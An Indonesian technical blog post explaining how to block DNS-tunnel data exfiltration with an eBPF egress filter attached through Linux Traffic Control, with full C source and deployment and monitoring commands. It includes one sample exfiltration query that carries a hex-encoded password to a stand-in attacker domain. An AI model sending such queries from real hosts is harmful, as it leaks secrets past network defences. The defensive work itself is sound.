Bali, Indonesia
Insights

Pengerasan Egress Resolver DNS Menggunakan eBPF TC untuk Mencegah Data Exfiltration

October 15, 2026
0:00
Penyelundupan data (data exfiltration) melalui covert tunnel DNS memanfaatkan karakteristik protokol Domain Name System yang hampir selalu diizinkan melewati perimeter keamanan jaringan enterprise. Implementasi firewall layer 4 standar, baik berbasis stateless Access Control List (ACL) maupun stateful inspection via Netfilter/conntrack, membatasi filtering hanya pada tuple alamat IP sumber/tujuan, protokol transport (UDP/TCP), dan port tujuan (port 53). Karakteristik ini dimanfaatkan oleh payload tunneling untuk menyandikan data biner ke dalam label Fully Qualified Domain Name (FQDN) dalam DNS query (QNAME) dan mengirimkannya ke authoritative name server yang dikontrol oleh penyerang di luar jaringan internal. Karena query diarahkan melalui resolver rekursif internal yang sah, traffic keluar menuju authoritative server tampak sebagai transaksi resolver normal. Proteksi pada level aplikasi seperti Response Policy Zones (RPZ) pada BIND atau Unbound dapat memblokir domain yang sudah terindikasi berbahaya, tetapi gagal mendeteksi dynamic domain generation (DGA) atau skema exfiltration satu kali pakai yang menggunakan subdomain dengan entropi tinggi pada domain sekunder yang baru didaftarkan. Untuk menanggulangi celah ini tanpa menimbulkan overhead context-switching ke user-space, filter Traffic Control (TC) berbasis eBPF yang dikaitkan pada sub-sistem egress jaringan Linux memungkinkan inspeksi wire-format DNS secara in-kernel, evaluasi entropi label, dan penegakan rate-limiting berbasis domain sebelum frame mencapai network interface controller (NIC).
Metode exfiltration melalui DNS umumnya memecah data biner rahasia, mengompresinya, lalu menyandikannya menggunakan Base32, Base64, atau heksadesimal ke dalam deretan subdomain label. Berdasarkan RFC 1035, panjang maksimum sebuah label DNS adalah 63 oktet, dan panjang total sebuah FQDN dalam format wire RFC dibatasi hingga 255 oktet. Penyerang mengonstruksi query seperti:
TEXT
7b2264625f70617373223a22736563726574227d.stage1.attacker-c2.example.com
Ketika resolver internal menerima request tersebut dari host yang terkompromi di jaringan privat, resolver akan melakukan resolusi rekursif iteratif:
  1. Resolver membaca root hints untuk menemukan root name server (.)
  2. Root name server merespons dengan delegasi Top-Level Domain (TLD) .com
  3. TLD name server mengarahkan query ke authoritative server milik penyerang untuk zona attacker-c2.example.com
  4. Authoritative server milik penyerang membaca subdomain 7b2264625f..., mendekode data rahasia tersebut, dan mengembalikan respons DNS sintesis (biasanya record TXT, CNAME, atau A dummy).
Netfilter conntrack mencatat transaksi ini dalam state table sebagai koneksi UDP terarah:
BASH
# conntrack -L -p udp --dport 53
udp      17 29 src=192.0.2.10 dst=198.51.100.53 sport=54213 dport=53 [UNREPLIED] src=198.51.100.53 dst=192.0.2.10 sport=53 dport=54213 mark=0 use=1
Conntrack menganggap paket tersebut sebagai session UDP valid selama timer default (nf_conntrack_udp_timeout = 30) belum kedaluwarsa. Sistem tidak memiliki visibilitas terhadap struktur paket setelah header transport layer UDP berakhir. Paket data melewati gateway tanpa peringatan, meskipun muatan QNAME membawa data sensitif yang dieksfiltrasi. Implementasi firewall konvensional tidak dapat melakukan parsing payload DNS pada kecepatan multi-gigabit tanpa menghabiskan siklus CPU secara masif jika dialihkan ke user-space daemon (misalnya melalui NFQUEUE). Untuk memahami bagaimana pendekatan eBPF menangani paket pada interface jaringan di level kernel secara efisien, arsitektur serupa pernah dibahas pada konteks routing di Validasi BGP Route Origin dan Filtrasi Prefix Menggunakan eBPF XDP pada Gateway Hosting Multi-Tenant.
Dalam pipeline jaringan kernel Linux, subsistem eBPF dapat diinjeksi pada beberapa titik kait (hook points). Dua hook utama untuk pemrosesan paket berkecepatan tinggi adalah eXpress Data Path (XDP) dan Traffic Control (TC). XDP beroperasi pada lapisan paling bawah dari driver jaringan, tepat saat ring buffer RX menerima frame dari NIC sebelum struktur struct sk_buff dialokasikan oleh kernel. Namun, XDP memiliki batasan fundamental: secara historis dan arsitektural, XDP dioptimalkan murni untuk jalur ingress. Meskipun terdapat opsi transmit ulang (XDP_TX atau redirect ke interface lain), XDP tidak dapat memfilter paket yang dihasilkan secara lokal (locally generated traffic) oleh resolver DNS yang berjalan pada host itu sendiri sebelum paket tersebut keluar ke jaringan eksternal. Paket yang diinisiasi oleh resolver rekursif lokal dibuat melalui syscall sendto() atau sendmsg() yang mengalokasikan socket buffer (struct sk_buff), melintasi routing engine kernel, dan masuk ke antrean egress interface via fungsi dev_queue_xmit(). Titik ini dilewati oleh eBPF TC melalui pseudo-qdisc clsact.
Parameter / FitureXpress Data Path (XDP)Traffic Control (eBPF TC / clsact)
Hook LocationDriver level (RX ring buffer)Antara IP stack dan Qdisc (sch_clsact)
Arah Trafik yang DidukungIngress saja (egress sangat terbatas via devmap)Ingress dan Egress penuh
Struktur Data Inputstruct xdp_md (raw packet pointer)struct __sk_buff (metadata skb lengkap)
Alokasi sk_buffBelum dialokasikan (overhead sangat rendah)Sudah dialokasikan oleh networking stack
Kemampuan Manipulasi L2-L4Parsing byte langsungMemerlukan bpf_skb_pull_data jika linear buffer terpotong
Kompatibilitas Egress ResolverTidak mendukung locally generated trafficMendukung locally generated socket egress
Dengan memasang program eBPF pada hook egress qdisc clsact, program eBPF dieksekusi di context softirq (NET_TX_SOFTIRQ) sesaat sebelum paket diserahkan ke driver ring buffer (TX ring). Pada titik ini, program eBPF memiliki hak kontrol untuk mengizinkan (TC_ACT_OK), memodifikasi, atau membuang paket seketika (TC_ACT_SHOT), mencegah paket egress mencapai kabel fisik.
Untuk membedah paket DNS pada level egress TC, program eBPF harus mengurai struktur header UDP dan langsung membaca data application layer. Berdasarkan RFC 1035, struktur wire-format paket DNS terdiri atas 12 byte header tetap, diikuti oleh Question Section:
TEXT
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Format Question Section terdiri atas serangkaian label: setiap label diawali dengan 1 byte penanda panjang (length octet), diikuti oleh karakter label sejumlah panjang tersebut. Rangkaian label diakhiri dengan byte 0x00 (root null label), yang kemudian diikuti oleh 2 byte QTYPE dan 2 byte QCLASS. Dalam domain eBPF, verifier kernel memberlakukan validasi ketat:
  1. Boundary Checking: Setiap pointer dereference ke buffer paket (skb->data hingga skb->data_end) harus diverifikasi secara eksplisit terhadap batas atas sebelum dibaca. Kelalaian pengecekan batas akan menyebabkan program ditolak saat proses loading (verifier log: invalid access to packet).
  2. Bounded Loops: Parsing string nama domain melibatkan iterasi parsing label dinamis. Kernel modern (>= 5.3) mendukung bounded loop, namun jumlah iterasi instruksi harus terbukti terbatas dan deterministik agar verifier dapat memastikan program berhenti (halting problem).
  3. Non-linear Buffer (skb_is_nonlinear): Pada paket egress yang dialokasikan oleh kernel stack, sebagian payload data mungkin berada di paged memory (skb_shinfo(skb)->frags). Sebelum parsing payload aplikasi, helper bpf_skb_pull_data() harus dipanggil untuk melinearisasi data ke buffer utama jika data yang dibutuhkan berada di luar skb_headlen.
Program eBPF berikut memvalidasi traffic egress UDP port 53. Deteksi dilakukan berdasarkan dua heuristik utama:
  1. Deteksi Anomali Panjang Label: Label tunggal yang mendekati batas maksimal RFC (panjang >= 50 byte) secara berulang merupakan indikator kuat encoding payload.
  2. Rate Limiting Frekuensi Transaksi Per Root Domain: Penegakan algoritma token bucket menggunakan BPF_MAP_TYPE_LRU_HASH kernel map untuk mendeteksi burst query ke basis domain yang sama.
Simpan kode berikut sebagai dns_egress_filter.bpf.c:
C
#include <linux/bpf.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>

#define MAX_DNS_NAME_LEN 255
#define MAX_LABEL_LEN 63
#define SUSPICIOUS_LABEL_LEN 50
#define TOKEN_BUCKET_CAPACITY 10
#define TOKEN_REFILL_NS 1000000000ULL // 1 detik per token refill

struct dns_hdr {
    __be16 id;
    __be16 flags;
    __be16 qdcount;
    __be16 ancount;
    __be16 nscount;
    __be16 arcount;
};

struct bucket_entry {
    __u64 last_update_ns;
    __u32 tokens;
};

struct {
    __uint(type, BPF_MAP_TYPE_LRU_HASH);
    __uint(max_entries, 16384);
    __type(key, __u32);   // Hash sederhana dari domain basis
    __type(value, struct bucket_entry);
} domain_rate_map SEC(".maps");

SEC("tc_egress_dns")
int filter_egress_dns(struct __sk_buff *skb) {
    void *data_end = (void *)(long)skb->data_end;
    void *data = (void *)(long)skb->data;

    // 1. Parsing Ethernet Header
    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end)
        return TC_ACT_OK;

    if (eth->h_proto != bpf_htons(ETH_P_IP))
        return TC_ACT_OK;

    // 2. Parsing IPv4 Header
    struct iphdr *ip = (void *)(eth + 1);
    if ((void *)(ip + 1) > data_end)
        return TC_ACT_OK;

    if (ip->protocol != IPPROTO_UDP)
        return TC_ACT_OK;

    __u32 ip_hdr_len = ip->ihl * 4;
    if (ip_hdr_len < sizeof(struct iphdr))
        return TC_ACT_OK;

    // 3. Parsing UDP Header
    struct udphdr *udp = (void *)((char *)ip + ip_hdr_len);
    if ((void *)(udp + 1) > data_end)
        return TC_ACT_OK;

    // Filter khusus traffic DNS egress (tujuan UDP port 53)
    if (udp->dest != bpf_htons(53))
        return TC_ACT_OK;

    // Pastikan seluruh data UDP payload terlinearisasi dalam skb->data
    __u32 offset = (void *)(udp + 1) - data;
    __u32 total_len = bpf_ntohs(udp->len);
    if (total_len < sizeof(struct udphdr) + sizeof(struct dns_hdr))
        return TC_ACT_OK;

    if (bpf_skb_pull_data(skb, offset + (total_len - sizeof(struct udphdr))) < 0) {
        return TC_ACT_OK;
    }

    // Re-evaluasi pointer setelah bpf_skb_pull_data mengubah memory layout
    data = (void *)(long)skb->data;
    data_end = (void *)(long)skb->data_end;
    eth = data;
    ip = (void *)(eth + 1);
    udp = (void *)((char *)ip + ip_hdr_len);

    if ((void *)(udp + 1) > data_end)
        return TC_ACT_OK;

    struct dns_hdr *dns = (void *)(udp + 1);
    if ((void *)(dns + 1) > data_end)
        return TC_ACT_OK;

    // Cek flag QR (0 = Query, 1 = Response). Hanya periksa Query.
    __u16 flags = bpf_ntohs(dns->flags);
    if ((flags & 0x8000) != 0)
        return TC_ACT_OK;

    // Hanya tangani query dengan qdcount == 1
    if (bpf_ntohs(dns->qdcount) != 1)
        return TC_ACT_OK;

    // 4. Parsing Question Section (QNAME)
    unsigned char *ptr = (void *)(dns + 1);
    __u32 name_len = 0;
    __u32 max_label_found = 0;
    __u32 domain_hash = 0;

    #pragma unroll
    for (int i = 0; i < 5; i++) { // Membaca hingga maksimal 5 label pertama
        if ((void *)(ptr + 1) > data_end)
            break;

        unsigned char len = *ptr;
        if (len == 0) {
            ptr++; // Null terminator ditemukan
            break;
        }

        if (len > MAX_LABEL_LEN) {
            // Kompresi pointer atau format ilegal dalam QNAME
            return TC_ACT_SHOT;
        }

        if (len > max_label_found)
            max_label_found = len;

        ptr++;
        if ((void *)(ptr + len) > data_end)
            return TC_ACT_OK; // Packet terpotong, serahkan ke stack

        // Akumulasi hash sederhana dari payload subdomain
        for (int j = 0; j < 4; j++) {
            if (j < len && (void *)(ptr + j + 1) <= data_end) {
                domain_hash = ((domain_hash << 5) + domain_hash) + *(ptr + j);
            }
        }

        ptr += len;
        name_len += (len + 1);
        if (name_len >= MAX_DNS_NAME_LEN)
            break;
    }

    // 5. Eksekusi Rule Deteksi Exfiltration
    // Kasus A: Label tunggal membawa muatan data masif
    if (max_label_found >= SUSPICIOUS_LABEL_LEN) {
        // Drop paket: anomali panjang label terindikasi Base64 payload
        return TC_ACT_SHOT;
    }

    // Kasus B: Rate-limit transaksi query per hash domain via token bucket
    __u64 now = bpf_ktime_get_ns();
    struct bucket_entry *bucket = bpf_map_lookup_elem(&domain_rate_map, &domain_hash);

    if (!bucket) {
        struct bucket_entry new_bucket = {
            .last_update_ns = now,
            .tokens = TOKEN_BUCKET_CAPACITY - 1,
        };
        bpf_map_update_elem(&domain_rate_map, &domain_hash, &new_bucket, BPF_ANY);
        return TC_ACT_OK;
    }

    // Hitung penambahan token berdasarkan selisih waktu
    __u64 elapsed = now - bucket->last_update_ns;
    __u32 tokens_to_add = (__u32)(elapsed / TOKEN_REFILL_NS);
    if (tokens_to_add > 0) {
        bucket->tokens += tokens_to_add;
        if (bucket->tokens > TOKEN_BUCKET_CAPACITY)
            bucket->tokens = TOKEN_BUCKET_CAPACITY;
        bucket->last_update_ns = now;
    }

    if (bucket->tokens == 0) {
        // Kapasitas token habis: burst query tidak wajar ke target yang sama
        return TC_ACT_SHOT;
    }

    bucket->tokens--;
    return TC_ACT_OK;
}

char _license[] SEC("license") = "GPL";
Kode ini menggunakan #pragma unroll untuk membatasi iterasi parser. Hal ini merupakan syarat mutlak agar compiler clang menghasilkan set instruksi BPF linear yang dapat diverifikasi oleh kernel verifier tanpa menyebabkan infinite loop state explosion.
Proses deployment program eBPF ke subsistem Traffic Control kernel Linux memerlukan utilitas clang, llvm, serta iproute2 (tc). Program dikompilasi menjadi BPF Executable and Linkable Format (ELF) object file, kemudian dimuat ke dalam kernel.
BASH
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 \
    -I/usr/include/$(uname -m)-linux-gnu \
    -c dns_egress_filter.bpf.c -o dns_egress_filter.bpf.o
Verifikasi bahwa object file mengandung section tc_egress_dns yang siap dipasang:
BASH
llvm-objdump -h dns_egress_filter.bpf.o
Output menunjukkan section header:
TEXT
dns_egress_filter.bpf.o:       file format elf64-bpf

Sections:
Idx Name             Size     VMA              Type
  1 .text            00000000 0000000000000000 TEXT
  2 tc_egress_dns    00000940 0000000000000000 TEXT
  3 .maps            00000028 0000000000000000 DATA
  4 .BTF             000005a0 0000000000000000
Subsistem TC membutuhkan struktur qdisc clsact terpasang pada interface jaringan (contoh: eth0) sebelum filter dapat disematkan ke jalur egress:
BASH
# Buat qdisc clsact pada interface eth0 jika belum ada
tc qdisc add dev eth0 clsact

# Pasang program eBPF pada hook egress
tc filter add dev eth0 egress bpf direct-action \
    obj dns_egress_filter.bpf.o sec tc_egress_dns
Parameter direct-action (disingkat da) menginstruksikan kernel bahwa nilai kembali (return code) dari fungsi eBPF C—seperti TC_ACT_OK (0) atau TC_ACT_SHOT (2)—harus langsung dieksekusi sebagai aksi TC tanpa perlu mencocokkannya dengan action classifier terpisah dari tc.
Untuk memverifikasi bahwa filter telah terpasang dan menghitung statistik eksekusi paket:
BASH
tc -s filter show dev eth0 egress
Output telemetri terminal:
TEXT
filter protocol all pref 49152 bpf chain 0 
filter protocol all pref 49152 bpf chain 0 handle 0x1 dns_egress_filter.bpf.o:[tc_egress_dns] direct-action not_in_hw id 142 tag e28f9d8a93cb02a1 jited 
	action order 1: run 142 id 142 default-action pipe
	index 1 ref 1 bind 1 installed 420 sec used 0 sec
	Action statistics:
	Sent 1248092 bytes 8520 pkt (dropped 14, overlimits 0 requeues 0) 
	backlog 0b 0p requeues 0
Angka dropped 14 mengonfirmasi bahwa 14 transaksi anomali yang membawa signature label panjang atau melanggar token bucket berhasil dieliminasi sebelum diserahkan ke hardware transmitter.
Untuk memvalidasi isi BPF Map dan memastikan LRU hash table mengelola token bucket secara akurat tanpa kebocoran memori, gunakan utilitas bpftool.
Cari ID dari map domain_rate_map yang terpasang pada kernel:
BASH
bpftool map show name domain_rate_map
Output:
TEXT
87: lru_hash  name domain_rate_map  flags 0x0
	key 4B  value 16B  max_entries 16384  memlock 1314816B
Dumping isi map untuk mengamati entri hash domain yang aktif:
BASH
bpftool map dump id 87
Output representasi biner dan heksadesimal:
TEXT
key: 2f 8a 44 a1  value: 48 c3 da 1e 38 00 00 00  03 00 00 00 00 00 00 00
key: e8 12 09 3b  value: 90 98 de 1e 38 00 00 00  00 00 00 00 00 00 00 00
Found 2 elements
Nilai tokens pada entri kedua menunjukkan angka 0 (00 00 00 00), yang mengindikasikan domain hash 0x3b0912e8 telah menghabiskan alokasi kuota burst dan paket-paket berikutnya akan dibuang pada egress.
Untuk mengonfirmasi proses dropping tanpa mengotori dmesg atau menggunakan helper bpf_trace_printk() yang lambat, pasang dynamic probe menggunakan bpftrace untuk merekam event kfree_skb yang dipicu oleh tindakan TC_ACT_SHOT:
BASH
bpftrace -e 'kprobe:kfree_skb /arg1 != 0/ { printf("skb freed: %p at func: %s
", arg0, ksym(arg1)); }'
Atau lakukan profiling cycle overhead dari filter TC egress menggunakan command perf:
BASH
perf top -C 0-3 --sort comm,dso,symbol
Pada CPU core yang melayani softirq jaringan, overhead instruksi filter_egress_dns yang telah ter-JIT (Just-In-Time compiled) rata-rata menghabiskan kurang dari 0.4% total runtime cycle, membuktikan efisiensinya dibandingkan inspeksi proxy berbasis user-space.
Implementasi filter in-kernel membawa sejumlah konsekuensi teknis dan batasan operasional yang harus dikalkulasi:
RFC 1035 mengizinkan kompresi pointer nama domain (offset 2 byte diawali bit 11 atau 0xC0). Dalam transaksi normal, pointer kompresi lazim ditemukan pada Response Section (jawaban resolver), namun sangat jarang digunakan dalam Question Section pada paket Query keluar, kecuali pada implementasi resolver kustom tertentu. Kode eBPF di atas secara defensif membuang paket dengan flag pointer di Question section (len > MAX_LABEL_LEN) untuk memitigasi teknik evasion label length bypass. Pada skenario produksi tertentu dengan legacy system, kondisi ini harus diaudit agar tidak menimbulkan false positive.
Jika query DNS melampaui MTU jaringan lokal (misalnya membawa EDNS0 buffer besar melalui link MTU rendah), paket UDP akan terfragmentasi pada IP layer. Paket pecahan kedua dan seterusnya (fragmented packets) tidak memiliki UDP header, apalagi DNS header. Filter eBPF pada kode di atas memproses paket-paket tersebut dengan status TC_ACT_OK karena ip->frag_off tidak diisolasi secara khusus. Namun, karena fragment pertama (yang memuat QNAME awal) tetap terfilter, payload tunneling yang berada di permulaan QNAME tetap akan terpotong, menggagalkan pembentukan koneksi C2 secara fungsional.
Ukuran max_entries pada BPF_MAP_TYPE_LRU_HASH menentukan batas penggunaan alokasi memory kernel. Dengan konfigurasi 16.384 entri:
TEXT
Ukuran Per Entri: Key (4 Byte) + Value (16 Byte) + Overhead Hash Table Kernel (~64 Byte) ≈ 84 Byte
Total Footprint: 16.384 * 84 Byte ≈ 1.37 MB
Karakteristik LRU (Least Recently Used) menjamin bahwa jika terjadi flood domain baru yang sengaja dihasilkan untuk membanjiri map, kernel secara otomatis mengeliminasi entri yang paling jarang diakses tanpa menyebabkan kegagalan alokasi memori atau memicu system Out-of-Memory (OOM) killer. Dengan memindahkan logika inspeksi dan mitigasi covert channel DNS langsung ke hook egress Traffic Control eBPF, resolver Linux memperoleh proteksi proaktif terhadap penyelundupan data dengan determinisme latensi level mikrodetik, tanpa bergantung pada kapabilitas filtering gateway eksternal.